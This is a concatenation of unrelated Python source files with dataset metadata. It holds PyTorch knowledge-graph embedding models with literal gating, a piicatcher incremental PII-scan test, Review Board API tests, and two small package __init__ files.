x.view(Config.batch_size, -1) # print(x.size()) x = self.fc(x) x = self.hidden_drop(x) x = self.bn2(x) x = F.relu(x) x = torch.mm(x, e2_multi_emb.t()) x += self.b.expand_as(x) pred = F.sigmoid(x) return pred class Gate(nn.Module): def __init__(self, input_size, output_size, # gate_activation=nn.functional.softmax): gate_activation=nn.functional.sigmoid): super(Gate, self).__init__() self.output_size = output_size self.gate_activation = gate_activation self.g = nn.Linear(input_size, output_size) self.g1 = nn.Linear(output_size, output_size, bias=False) self.g2 = nn.Linear(input_size-output_size, output_size, bias=False) self.gate_bias = nn.Parameter(torch.zeros(output_size)) def forward(self, x_ent, x_lit): x = torch.cat([x_ent, x_lit], 1) g_embedded = F.tanh(self.g(x)) gate = self.gate_activation(self.g1(x_ent) + self.g2(x_lit) + self.gate_bias) output = (1-gate) * x_ent + gate * g_embedded return output class DistMultLiteral_gate(torch.nn.Module): def __init__(self, num_entities, num_relations, numerical_literals): super(DistMultLiteral_gate, self).__init__() self.emb_dim = Config.embedding_dim self.emb_e = torch.nn.Embedding(num_entities, self.emb_dim, padding_idx=0) self.emb_rel = torch.nn.Embedding(num_relations, self.emb_dim, padding_idx=0) # Literal # num_ent x n_num_lit self.numerical_literals = Variable(torch.from_numpy(numerical_literals)).cuda() self.n_num_lit = self.numerical_literals.size(1) self.emb_num_lit = Gate(self.emb_dim+self.n_num_lit, self.emb_dim) # Dropout + loss self.inp_drop = torch.nn.Dropout(Config.input_dropout) self.loss = torch.nn.BCELoss() def init(self): xavier_normal_(self.emb_e.weight.data) xavier_normal_(self.emb_rel.weight.data) def forward(self, e1, rel): e1_emb = self.emb_e(e1) rel_emb = self.emb_rel(rel) e1_emb = e1_emb.view(-1, self.emb_dim) rel_emb = rel_emb.view(-1, self.emb_dim) # Begin literals e1_num_lit = self.numerical_literals[e1.view(-1)] e1_emb = self.emb_num_lit(e1_emb, e1_num_lit) e2_multi_emb = self.emb_num_lit(self.emb_e.weight, self.numerical_literals) # End literals e1_emb = self.inp_drop(e1_emb) rel_emb = self.inp_drop(rel_emb) pred = torch.mm(e1_emb*rel_emb, e2_multi_emb.t()) pred = F.sigmoid(pred) return pred class ComplexLiteral_gate(torch.nn.Module): def __init__(self, num_entities, num_relations, numerical_literals): super(ComplexLiteral_gate, self).__init__() self.emb_dim = Config.embedding_dim self.emb_e_real = torch.nn.Embedding(num_entities, self.emb_dim, padding_idx=0) self.emb_e_img = torch.nn.Embedding(num_entities, self.emb_dim, padding_idx=0) self.emb_rel_real = torch.nn.Embedding(num_relations, self.emb_dim, padding_idx=0) self.emb_rel_img = torch.nn.Embedding(num_relations, self.emb_dim, padding_idx=0) # Literal # num_ent x n_num_lit self.numerical_literals = Variable(torch.from_numpy(numerical_literals)).cuda() self.n_num_lit = self.numerical_literals.size(1) self.emb_num_lit_real = Gate(self.emb_dim+self.n_num_lit, self.emb_dim) self.emb_num_lit_img = Gate(self.emb_dim+self.n_num_lit, self.emb_dim) # Dropout + loss self.inp_drop = torch.nn.Dropout(Config.input_dropout) self.loss = torch.nn.BCELoss() def init(self): xavier_normal_(self.emb_e_real.weight.data) xavier_normal_(self.emb_e_img.weight.data) xavier_normal_(self.emb_rel_real.weight.data) xavier_normal_(self.emb_rel_img.weight.data) def forward(self, e1, rel): e1_emb_real = self.emb_e_real(e1).view(Config.batch_size, -1) rel_emb_real = self.emb_rel_real(rel).view(Config.batch_size, -1) e1_emb_img = self.emb_e_img(e1).view(Config.batch_size, -1) rel_emb_img = self.emb_rel_img(rel).view(Config.batch_size, -1) # Begin literals e1_num_lit = self.numerical_literals[e1.view(-1)] e1_emb_real = self.emb_num_lit_real(e1_emb_real, e1_num_lit) e1_emb_img = self.emb_num_lit_img(e1_emb_img, e1_num_lit) e2_multi_emb_real = self.emb_num_lit_real(self.emb_e_real.weight, self.numerical_literals) e2_multi_emb_img = self.emb_num_lit_img(self.emb_e_img.weight, self.numerical_literals) # End literals e1_emb_real = self.inp_drop(e1_emb_real) rel_emb_real = self.inp_drop(rel_emb_real) e1_emb_img = self.inp_drop(e1_emb_img) rel_emb_img = self.inp_drop(rel_emb_img) realrealreal = torch.mm(e1_emb_real*rel_emb_real, e2_multi_emb_real.t()) realimgimg = torch.mm(e1_emb_real*rel_emb_img, e2_multi_emb_img.t()) imgrealimg = torch.mm(e1_emb_img*rel_emb_real, e2_multi_emb_img.t()) imgimgreal = torch.mm(e1_emb_img*rel_emb_img, e2_multi_emb_real.t()) pred = realrealreal + realimgimg + imgrealimg - imgimgreal pred = F.sigmoid(pred) return pred class ConvELiteral_gate(torch.nn.Module): def __init__(self, num_entities, num_relations, numerical_literals): super(ConvELiteral_gate, self).__init__() self.emb_dim = Config.embedding_dim self.emb_e = torch.nn.Embedding(num_entities, self.emb_dim, padding_idx=0) self.emb_rel = torch.nn.Embedding(num_relations, self.emb_dim, padding_idx=0) # Literal # num_ent x n_num_lit self.numerical_literals = Variable(torch.from_numpy(numerical_literals)).cuda() self.n_num_lit = self.numerical_literals.size(1) self.emb_num_lit = Gate(self.emb_dim+self.n_num_lit, self.emb_dim) self.inp_drop = torch.nn.Dropout(Config.input_dropout) self.hidden_drop = torch.nn.Dropout(Config.dropout) self.feature_map_drop = torch.nn.Dropout2d(Config.feature_map_dropout) self.loss = torch.nn.BCELoss() self.conv1 = torch.nn.Conv2d(1, 32, (3, 3), 1, 0, bias=Config.use_bias) self.bn0 = torch.nn.BatchNorm2d(1) self.bn1 = torch.nn.BatchNorm2d(32) self.bn2 = torch.nn.BatchNorm1d(self.emb_dim) self.register_parameter('b', Parameter(torch.zeros(num_entities))) self.fc = torch.nn.Linear(10368, self.emb_dim) print(num_entities, num_relations) def init(self): xavier_normal_(self.emb_e.weight.data) xavier_normal_(self.emb_rel.weight.data) def forward(self, e1, rel): e1_emb = self.emb_e(e1).view(Config.batch_size, -1) rel_emb = self.emb_rel(rel) # Begin literals e1_num_lit = self.numerical_literals[e1.view(-1)] e1_emb = self.emb_num_lit(e1_emb, e1_num_lit) e2_multi_emb = self.emb_num_lit(self.emb_e.weight, self.numerical_literals) # End literals e1_emb = e1_emb.view(Config.batch_size, 1, 10, self.emb_dim//10) rel_emb = rel_emb.view(Config.batch_size, 1, 10, self.emb_dim//10) stacked_inputs = torch.cat([e1_emb, rel_emb], 2) stacked_inputs = self.bn0(stacked_inputs) x = self.inp_drop(stacked_inputs) x = self.conv1(x) x = self.bn1(x) x = F.relu(x) x = self.feature_map_drop(x) x = x.view(Config.batch_size, -1) # print(x.size()) x = self.fc(x) x = self.hidden_drop(x) x = self.bn2(x) x = F.relu(x) x = torch.mm(x, e2_multi_emb.t()) x += self.b.expand_as(x) pred = F.sigmoid(x) return pred """ TEXT LITERALS ----------------------------------- """ class GateMulti(nn.Module): def __init__(self, emb_size, num_lit_size, txt_lit_size, gate_activation=nn.functional.sigmoid): super(GateMulti, self).__init__() self.emb_size = emb_size self.num_lit_size = num_lit_size self.txt_lit_size = txt_lit_size self.gate_activation = gate_activation self.g = nn.Linear(emb_size+num_lit_size+txt_lit_size, emb_size) self.gate_ent = nn.Linear(emb_size, emb_size, bias=False) self.gate_num_lit = nn.Linear(num_lit_size, emb_size, bias=False) self.gate_txt_lit = nn.Linear(txt_lit_size, emb_size, bias=False) self.gate_bias = nn.Parameter(torch.zeros(emb_size)) def forward(self, x_ent, x_lit_num, x_lit_txt): x = torch.cat([x_ent, x_lit_num, x_lit_txt], 1) g_embedded = F.tanh(self.g(x)) gate = self.gate_activation(self.gate_ent(x_ent) + self.gate_num_lit(x_lit_num) + self.gate_txt_lit(x_lit_txt) + self.gate_bias) output = (1-gate) * x_ent + gate * g_embedded return output class DistMultLiteral_gate_text(torch.nn.Module): def __init__(self, num_entities, num_relations, numerical_literals, text_literals): super(DistMultLiteral_gate_text, self).__init__() self.emb_dim = Config.embedding_dim self.emb_e = torch.nn.Embedding(num_entities, self.emb_dim, padding_idx=0) self.emb_rel = torch.nn.Embedding(num_relations, self.emb_dim, padding_idx=0) # Num. Literal # num_ent x n_num_lit self.numerical_literals = Variable(torch.from_numpy(numerical_literals)).cuda() self.n_num_lit = self.numerical_literals.size(1) # Txt. Literal # num_ent x n_txt_lit self.text_literals = Variable(torch.from_numpy(text_literals)).cuda() self.n_txt_lit = self.text_literals.size(1) # LiteralE's g self.emb_lit = GateMulti(self.emb_dim, self.n_num_lit, self.n_txt_lit) # Dropout + loss self.inp_drop = torch.nn.Dropout(Config.input_dropout) self.loss = torch.nn.BCELoss() def init(self): xavier_normal_(self.emb_e.weight.data) xavier_normal_(self.emb_rel.weight.data) def forward(self, e1, rel): e1_emb = self.emb_e(e1) rel_emb = self.emb_rel(rel) e1_emb = e1_emb.view(-1, self.emb_dim) rel_emb = rel_emb.view(-1, self.emb_dim) # Begin literals # -------------- e1_num_lit = self.numerical_literals[e1.view(-1)] e1_txt_lit = self.text_literals[e1.view(-1)] e1_emb = self.emb_lit(e1_emb, e1_num_lit, e1_txt_lit) e2_multi_emb = self.emb_lit(self.emb_e.weight, self.numerical_literals, self.text_literals) # -------------- # End literals e1_emb = self.inp_drop(e1_emb) rel_emb = self.inp_drop(rel_emb) pred = torch.mm(e1_emb*rel_emb, e2_multi_emb.t()) pred = F.sigmoid(pred) return pred

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e7b1681e8b4bed4d11e728a31b284abf4edeb649

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py

Python

tests/test_incremental.py

argos-education/piicatcher

7370cad8a4938762311926e8ab3bc286232e7106

[ "Apache-2.0" ]

4

2019-07-10T08:52:56.000Z

2019-10-23T13:58:18.000Z

tests/test_incremental.py

argos-education/piicatcher

7370cad8a4938762311926e8ab3bc286232e7106

[ "Apache-2.0" ]

11

2019-03-21T11:28:07.000Z

2019-08-30T12:13:28.000Z

tests/test_incremental.py

argos-education/piicatcher

7370cad8a4938762311926e8ab3bc286232e7106

[ "Apache-2.0" ]

2

2019-03-21T11:06:49.000Z

2019-03-27T06:05:52.000Z

import datetime import time from typing import Generator, Tuple import pytest from dbcat.api import scan_sources from dbcat.catalog import Catalog from pytest_cases import fixture from piicatcher.api import scan_database from piicatcher.generators import column_generator, data_generator from piicatcher.output import output_dict, output_tabular @fixture(scope="module") def setup_incremental( load_sample_data, load_data ) -> Generator[Tuple[Catalog, int], None, None]: catalog, source_id, name = load_sample_data with catalog.managed_session: scan_sources(catalog, [name], include_table_regex=["sample"]) time.sleep(1) with catalog.managed_session: source = catalog.get_source_by_id(source_id) scan_database(catalog=catalog, source=source, include_table_regex=["sample"]) time.sleep(1) with catalog.managed_session: scan_sources(catalog, [name]) time.sleep(1) with catalog.managed_session: scan_database(catalog=catalog, source=source, include_table_regex=["partial.*"]) yield catalog, source_id def test_incremental_scan(setup_incremental): catalog, source_id = setup_incremental with catalog.managed_session: source = catalog.get_source_by_id(source_id) # there should be 2 tasks tasks = catalog.get_tasks_by_app_name("piicatcher.{}".format(source.name)) assert len(tasks) == 2 first_task = tasks[0] second_task = tasks[1] schemata = catalog.search_schema(source_like=source.name, schema_like="%") # sample table should have earlier timestamp sample_table = catalog.get_table( source_name=source.name, schema_name=schemata[0].name, table_name="sample" ) assert sample_table.updated_at < first_task.updated_at assert sample_table.updated_at < second_task.updated_at # full_pii and no_pii should have timestamp between tasks as they are not scanned because of include_table_regex for table_name in ["no_pii", "full_pii", "partial_pii"]: table = catalog.get_table( source_name=source.name, schema_name=schemata[0].name, table_name=table_name, ) assert table.updated_at > first_task.updated_at assert table.updated_at < second_task.updated_at for column in catalog.get_columns_for_table(table): assert column.updated_at > first_task.updated_at assert column.updated_at < second_task.updated_at # partial_data_type.ssn should have the latest timestamps partial_data_type = catalog.get_table( source_name=source.name, schema_name=schemata[0].name, table_name="partial_data_type", ) assert partial_data_type.updated_at > first_task.updated_at assert partial_data_type.updated_at < second_task.updated_at partial_data_type_id = catalog.get_column( source_name=source.name, schema_name=schemata[0].name, table_name="partial_data_type", column_name="id", ) assert partial_data_type_id.updated_at > first_task.updated_at assert partial_data_type_id.updated_at < second_task.updated_at partial_data_type_ssn = catalog.get_column( source_name=source.name, schema_name=schemata[0].name, table_name="partial_data_type", column_name="ssn", ) assert partial_data_type_ssn.updated_at > first_task.updated_at assert ( second_task.updated_at - partial_data_type_ssn.updated_at ) < datetime.timedelta(seconds=3) def test_incremental_column_generator(setup_incremental): catalog, source_id = setup_incremental with catalog.managed_session: source = catalog.get_source_by_id(source_id) tasks = catalog.get_tasks_by_app_name("piicatcher.{}".format(source.name)) count = 0 for tpl in column_generator(catalog=catalog, source=source): count += 1 assert count == 24 count = 0 for tpl in column_generator( catalog=catalog, source=source, last_run=tasks[0].updated_at ): count += 1 assert count == 8 def test_incremental_data_generator(setup_incremental): catalog, source_id = setup_incremental with catalog.managed_session: source = catalog.get_source_by_id(source_id) tasks = catalog.get_tasks_by_app_name("piicatcher.{}".format(source.name)) count = 0 for tpl in data_generator(catalog=catalog, source=source): count += 1 assert count == 434 count = 0 for tpl in data_generator( catalog=catalog, source=source, last_run=tasks[0].updated_at ): count += 1 assert count == 14 def test_incremental_tabular_output(setup_incremental): catalog, source_id = setup_incremental with catalog.managed_session: source = catalog.get_source_by_id(source_id) tasks = catalog.get_tasks_by_app_name("piicatcher.{}".format(source.name)) assert len(tasks) == 2 first_task = tasks[0] second_task = tasks[1] # List all PII columns op = output_tabular(catalog=catalog, source=source) assert len(op) == 9 # List all PII columns with include_filter op = output_tabular( catalog=catalog, source=source, include_table_regex=["partial_data_type"] ) assert len(op) == 1 # List after first task. op = output_tabular( catalog=catalog, source=source, last_run=first_task.updated_at ) assert len(op) == 1 # List for second task op = output_tabular( catalog=catalog, source=source, last_run=second_task.updated_at ) assert len(op) == 0 sqlite_all = { "name": "sqlite_src", "schemata": [ { "name": "", "tables": [ { "columns": [ { "data_type": "VARCHAR(255)", "name": "address", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Address", "sort_order": 0, }, { "data_type": "VARCHAR(255)", "name": "city", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Address", "sort_order": 6, }, { "data_type": "VARCHAR(255)", "name": "email", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Email", "sort_order": 7, }, { "data_type": "VARCHAR(255)", "name": "fname", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Person", "sort_order": 8, }, { "data_type": "VARCHAR(255)", "name": "gender", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Gender", "sort_order": 9, }, { "data_type": "VARCHAR(255)", "name": "lname", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Person", "sort_order": 11, }, { "data_type": "VARCHAR(255)", "name": "maiden_name", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Person", "sort_order": 12, }, { "data_type": "VARCHAR(255)", "name": "state", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Address", "sort_order": 14, }, ], "name": "sample", }, { "columns": [ { "data_type": "text", "name": "ssn", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "SSN", "sort_order": 1, } ], "name": "partial_data_type", }, ], } ], } pg_all = { "name": "pg_src", "schemata": [ { "name": "public", "tables": [ { "columns": [ { "data_type": "varchar", "name": "gender", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Gender", "sort_order": 1, }, { "data_type": "varchar", "name": "maiden_name", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Person", "sort_order": 3, }, { "data_type": "varchar", "name": "lname", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Person", "sort_order": 4, }, { "data_type": "varchar", "name": "fname", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Person", "sort_order": 5, }, { "data_type": "varchar", "name": "address", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Address", "sort_order": 6, }, { "data_type": "varchar", "name": "city", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Address", "sort_order": 7, }, { "data_type": "varchar", "name": "state", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Address", "sort_order": 8, }, { "data_type": "varchar", "name": "email", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Email", "sort_order": 11, }, ], "name": "sample", }, { "columns": [ { "data_type": "text", "name": "ssn", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "SSN", "sort_order": 1, } ], "name": "partial_data_type", }, ], } ], } mysql_all = { "name": "mysql_src", "schemata": [ { "name": "piidb", "tables": [ { "columns": [ { "data_type": "varchar", "name": "email", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Email", "sort_order": 3, }, { "data_type": "varchar", "name": "gender", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Gender", "sort_order": 8, }, { "data_type": "varchar", "name": "maiden_name", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Person", "sort_order": 10, }, { "data_type": "varchar", "name": "lname", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Person", "sort_order": 11, }, { "data_type": "varchar", "name": "fname", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Person", "sort_order": 12, }, { "data_type": "varchar", "name": "address", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Address", "sort_order": 13, }, { "data_type": "varchar", "name": "city", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Address", "sort_order": 14, }, { "data_type": "varchar", "name": "state", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "Address", "sort_order": 15, }, ], "name": "sample", }, { "columns": [ { "data_type": "text", "name": "ssn", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "SSN", "sort_order": 1, } ], "name": "partial_data_type", }, ], } ], } sqlite_one = { "name": "sqlite_src", "schemata": [ { "name": "", "tables": [ { "columns": [ { "data_type": "text", "name": "ssn", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "SSN", "sort_order": 1, } ], "name": "partial_data_type", } ], } ], } pg_one = { "name": "pg_src", "schemata": [ { "name": "public", "tables": [ { "columns": [ { "data_type": "text", "name": "ssn", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "SSN", "sort_order": 1, } ], "name": "partial_data_type", } ], } ], } mysql_one = { "name": "mysql_src", "schemata": [ { "name": "piidb", "tables": [ { "columns": [ { "data_type": "text", "name": "ssn", "pii_plugin": "ColumnNameRegexDetector", "pii_type": "SSN", "sort_order": 1, } ], "name": "partial_data_type", } ], } ], } def test_incremental_dict_output(setup_incremental): catalog, source_id = setup_incremental with catalog.managed_session: source = catalog.get_source_by_id(source_id) tasks = catalog.get_tasks_by_app_name("piicatcher.{}".format(source.name)) assert len(tasks) == 2 first_task = tasks[0] second_task = tasks[1] # List all PII columns op = output_dict(catalog=catalog, source=source) if source.source_type == "sqlite": assert op == sqlite_all elif source.source_type == "postgresql": assert op == pg_all elif source.source_type == "mysql": assert op == mysql_all # include filter op = output_dict( catalog=catalog, source=source, include_table_regex=["partial_data_type"] ) if source.source_type == "sqlite": assert op == sqlite_one elif source.source_type == "postgresql": assert op == pg_one elif source.source_type == "mysql": assert op == mysql_one # List after first task. op = output_dict(catalog=catalog, source=source, last_run=first_task.updated_at) if source.source_type == "sqlite": assert op == sqlite_one elif source.source_type == "postgresql": assert op == pg_one elif source.source_type == "mysql": assert op == mysql_one # List for second task op = output_dict( catalog=catalog, source=source, last_run=second_task.updated_at ) assert op == {} @pytest.mark.order(-1) def test_full_scan(setup_incremental): catalog, source_id = setup_incremental with catalog.managed_session: source = catalog.get_source_by_id(source_id) time.sleep(1) scan_database(catalog=catalog, source=source, incremental=False) # there should be 3 tasks. tasks = catalog.get_tasks_by_app_name("piicatcher.{}".format(source.name)) assert len(tasks) == 3 schemata = catalog.search_schema(source_like=source.name, schema_like="%") updated_cols = 0 for table_name in [ "no_pii", "full_pii", "partial_pii", "partial_data_type", "sample", ]: table = catalog.get_table( source_name=source.name, schema_name=schemata[0].name, table_name=table_name, ) updated_cols += len( list( catalog.get_columns_for_table(table, newer_than=tasks[1].updated_at) ) ) assert updated_cols == 11

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99d1a3e4f7301783f0156fbb00151839f2ac5baf

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py

Python

keras_multi_head/__init__.py

SchenbergZY/keras-multi-head

f0004c5bb607e96299352605f064849b88a2a131

[ "MIT" ]

null

keras_multi_head/__init__.py

SchenbergZY/keras-multi-head

f0004c5bb607e96299352605f064849b88a2a131

[ "MIT" ]

null

keras_multi_head/__init__.py

SchenbergZY/keras-multi-head

f0004c5bb607e96299352605f064849b88a2a131

[ "MIT" ]

null

from .multi_head import MultiHead from .multi_head_attention import MultiHeadAttention __version__ = '0.23.0'

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99e116b7237f03eff1609054291f1cb063db29a8

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py

Python

reviewboard/webapi/tests/test_review_reply_diff_comment.py

pombredanne/reviewboard

15f1d7236ec7a5cb4778ebfeb8b45d13a46ac71d

[ "MIT" ]

null

reviewboard/webapi/tests/test_review_reply_diff_comment.py

pombredanne/reviewboard

15f1d7236ec7a5cb4778ebfeb8b45d13a46ac71d

[ "MIT" ]

null

reviewboard/webapi/tests/test_review_reply_diff_comment.py

pombredanne/reviewboard

15f1d7236ec7a5cb4778ebfeb8b45d13a46ac71d

[ "MIT" ]

null

from reviewboard.reviews.models import Comment from reviewboard.webapi.resources import resources from reviewboard.webapi.tests.base import BaseWebAPITestCase from reviewboard.webapi.tests.mimetypes import ( review_reply_diff_comment_item_mimetype, review_reply_diff_comment_list_mimetype) from reviewboard.webapi.tests.mixins import ( BasicTestsMetaclass, ReviewRequestChildItemMixin, ReviewRequestChildListMixin) from reviewboard.webapi.tests.mixins_comment import ( CommentReplyItemMixin, CommentReplyListMixin) from reviewboard.webapi.tests.urls import ( get_review_reply_diff_comment_item_url, get_review_reply_diff_comment_list_url) class ResourceListTests(CommentReplyListMixin, ReviewRequestChildListMixin, BaseWebAPITestCase, metaclass=BasicTestsMetaclass): """Testing the ReviewReplyDiffCommentResource list APIs.""" fixtures = ['test_users', 'test_scmtools'] sample_api_url = \ 'review-requests/<id>/reviews/<id>/replies/<id>/diff-comments/' resource = resources.review_reply_diff_comment def setup_review_request_child_test(self, review_request): if not review_request.repository_id: # The group tests don't create a repository by default. review_request.repository = self.create_repository() review_request.save() diffset = self.create_diffset(review_request) filediff = self.create_filediff(diffset) review_request.publish(review_request.submitter) review = self.create_review(review_request, publish=True) self.create_diff_comment(review, filediff) reply = self.create_reply(review, user=self.user) return (get_review_reply_diff_comment_list_url(reply), review_reply_diff_comment_list_mimetype) def compare_item(self, item_rsp, comment): self.assertEqual(item_rsp['id'], comment.pk) self.assertEqual(item_rsp['text'], comment.text) if comment.rich_text: self.assertEqual(item_rsp['text_type'], 'markdown') else: self.assertEqual(item_rsp['text_type'], 'plain') # # HTTP GET tests # def setup_basic_get_test(self, user, with_local_site, local_site_name, populate_items): review_request = self.create_review_request( create_repository=True, with_local_site=with_local_site, submitter=user, publish=True) diffset = self.create_diffset(review_request) filediff = self.create_filediff(diffset) review = self.create_review(review_request, user=user) comment = self.create_diff_comment(review, filediff) reply = self.create_reply(review, user=user) if populate_items: items = [ self.create_diff_comment(reply, filediff, reply_to=comment), ] else: items = [] return (get_review_reply_diff_comment_list_url(reply, local_site_name), review_reply_diff_comment_list_mimetype, items) # # HTTP POST tests # def setup_basic_post_test(self, user, with_local_site, local_site_name, post_valid_data): review_request = self.create_review_request( create_repository=True, with_local_site=with_local_site, submitter=user, publish=True) diffset = self.create_diffset(review_request) filediff = self.create_filediff(diffset) review = self.create_review(review_request, user=user, publish=True) comment = self.create_diff_comment(review, filediff) reply = self.create_reply(review, user=user) return (get_review_reply_diff_comment_list_url(reply, local_site_name), review_reply_diff_comment_item_mimetype, { 'reply_to_id': comment.pk, 'text': 'Test comment', }, [reply, comment]) def check_post_result(self, user, rsp, reply, comment): reply_comment = Comment.objects.get(pk=rsp['diff_comment']['id']) self.assertEqual(reply_comment.text, 'Test comment') self.assertEqual(reply_comment.reply_to, comment) self.assertFalse(reply_comment.rich_text) self.compare_item(rsp['diff_comment'], reply_comment) def test_post_with_http_303(self): """Testing the POST review-requests/<id>/reviews/<id>/replies/<id>/diff-comments/ API with second instance of same reply """ comment_text = "My New Comment Text" review_request = self.create_review_request( create_repository=True, publish=True) diffset = self.create_diffset(review_request) filediff = self.create_filediff(diffset) review = self.create_review(review_request, publish=True) comment = self.create_diff_comment(review, filediff) reply = self.create_reply(review, user=self.user) reply_comment = self.create_diff_comment(reply, filediff, reply_to=comment) # Now do it again. rsp = self.api_post( get_review_reply_diff_comment_list_url(reply), { 'reply_to_id': comment.pk, 'text': comment_text }, expected_status=303, expected_mimetype=review_reply_diff_comment_item_mimetype) self.assertEqual(rsp['stat'], 'ok') reply_comment = Comment.objects.get(pk=rsp['diff_comment']['id']) self.assertEqual(reply_comment.text, comment_text) class ResourceItemTests(CommentReplyItemMixin, ReviewRequestChildItemMixin, BaseWebAPITestCase, metaclass=BasicTestsMetaclass): """Testing the ReviewReplyDiffCommentResource item APIs.""" fixtures = ['test_users', 'test_scmtools'] sample_api_url = \ 'review-requests/<id>/reviews/<id>/replies/<id>/diff-comments/<id>/' resource = resources.review_reply_diff_comment def setup_review_request_child_test(self, review_request): if not review_request.repository_id: # The group tests don't create a repository by default. review_request.repository = self.create_repository() review_request.save() diffset = self.create_diffset(review_request) filediff = self.create_filediff(diffset) review_request.publish(review_request.submitter) review = self.create_review(review_request, publish=True) self.create_diff_comment(review, filediff) reply = self.create_reply(review, user=self.user) return (get_review_reply_diff_comment_list_url(reply), review_reply_diff_comment_list_mimetype) def compare_item(self, item_rsp, comment): self.assertEqual(item_rsp['id'], comment.pk) self.assertEqual(item_rsp['text'], comment.text) if comment.rich_text: self.assertEqual(item_rsp['text_type'], 'markdown') else: self.assertEqual(item_rsp['text_type'], 'plain') # # HTTP DELETE tests # def setup_basic_delete_test(self, user, with_local_site, local_site_name): review_request = self.create_review_request( create_repository=True, with_local_site=with_local_site, submitter=user, publish=True) diffset = self.create_diffset(review_request) filediff = self.create_filediff(diffset) review = self.create_review(review_request, user=user, publish=True) comment = self.create_diff_comment(review, filediff) reply = self.create_reply(review, user=user) reply_comment = self.create_diff_comment(reply, filediff, reply_to=comment) return ( get_review_reply_diff_comment_item_url( reply, reply_comment.pk, local_site_name), [reply_comment, reply] ) def check_delete_result(self, user, reply_comment, reply): self.assertNotIn(reply, reply.comments.all()) # # HTTP GET tests # def setup_basic_get_test(self, user, with_local_site, local_site_name): review_request = self.create_review_request( create_repository=True, with_local_site=with_local_site, submitter=user, publish=True) diffset = self.create_diffset(review_request) filediff = self.create_filediff(diffset) review = self.create_review(review_request, user=user, publish=True) comment = self.create_diff_comment(review, filediff) reply = self.create_reply(review, user=user) reply_comment = self.create_diff_comment( reply, filediff, reply_to=comment) return ( get_review_reply_diff_comment_item_url( reply, reply_comment.pk, local_site_name), review_reply_diff_comment_item_mimetype, reply_comment ) # # HTTP PUT tests # def setup_basic_put_test(self, user, with_local_site, local_site_name, put_valid_data): review_request = self.create_review_request( create_repository=True, with_local_site=with_local_site, submitter=user, publish=True) diffset = self.create_diffset(review_request) filediff = self.create_filediff(diffset) review = self.create_review(review_request, user=user, publish=True) comment = self.create_diff_comment(review, filediff) reply = self.create_reply(review, user=user) reply_comment = self.create_diff_comment(reply, filediff, reply_to=comment) return ( get_review_reply_diff_comment_item_url( reply, reply_comment.pk, local_site_name), review_reply_diff_comment_item_mimetype, { 'text': 'Test comment', }, reply_comment, []) def check_put_result(self, user, item_rsp, comment, *args): comment = Comment.objects.get(pk=comment.pk) self.assertEqual(item_rsp['id'], comment.pk) self.assertEqual(item_rsp['text'], 'Test comment') self.assertEqual(comment.text, 'Test comment') self.assertFalse(comment.rich_text)

39.216418

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0.654995

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0.098375

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0.071077

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1

0.064039

false

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0.034483

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0.172414

0

null

0

1

0

null

0

6

99ea8df2c9e8d043195f4da9cedf839028c0de5d

197

py

Python

src/envs/__init__.py

jainraj/CISR_NeurIPS20

027957e4a26a36f6501c4f0e5e73cb9d78a53e66

[ "MIT" ]

16

2020-11-04T14:44:16.000Z

2022-02-16T08:08:23.000Z

src/envs/__init__.py

jainraj/CISR_NeurIPS20

027957e4a26a36f6501c4f0e5e73cb9d78a53e66

[ "MIT" ]

2

2021-03-23T12:07:53.000Z

2021-12-22T14:30:59.000Z

src/envs/__init__.py

jainraj/CISR_NeurIPS20

027957e4a26a36f6501c4f0e5e73cb9d78a53e66

[ "MIT" ]

7

2020-11-17T03:20:00.000Z

2022-03-31T15:53:58.000Z

from src.envs.frozen_lake.utils import * from src.envs.CMDP import CMDP, LagrangianMDP, LagrangianMDPMonitor from src.envs.frozen_lake.frozen_lake_custom import * from src.envs.dummy_envs import *

39.4

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0.264151

0

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true

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null

0

1

0

1

0

1

0

6

8246e38f21bcb46e020f248157401bcc92b6f2e7

45,802

py

Python

hydrus/tests/test_app.py

vcode11/hydrus

4ed8ada7ed8fd7d8897e744bae410b312f4cfb83

[ "MIT" ]

1

2019-12-04T12:54:21.000Z

hydrus/tests/test_app.py

vcode11/hydrus

4ed8ada7ed8fd7d8897e744bae410b312f4cfb83

[ "MIT" ]

3

2019-12-21T04:15:23.000Z

2020-04-07T05:11:05.000Z

hydrus/tests/test_app.py

vcode11/hydrus

4ed8ada7ed8fd7d8897e744bae410b312f4cfb83

[ "MIT" ]

null

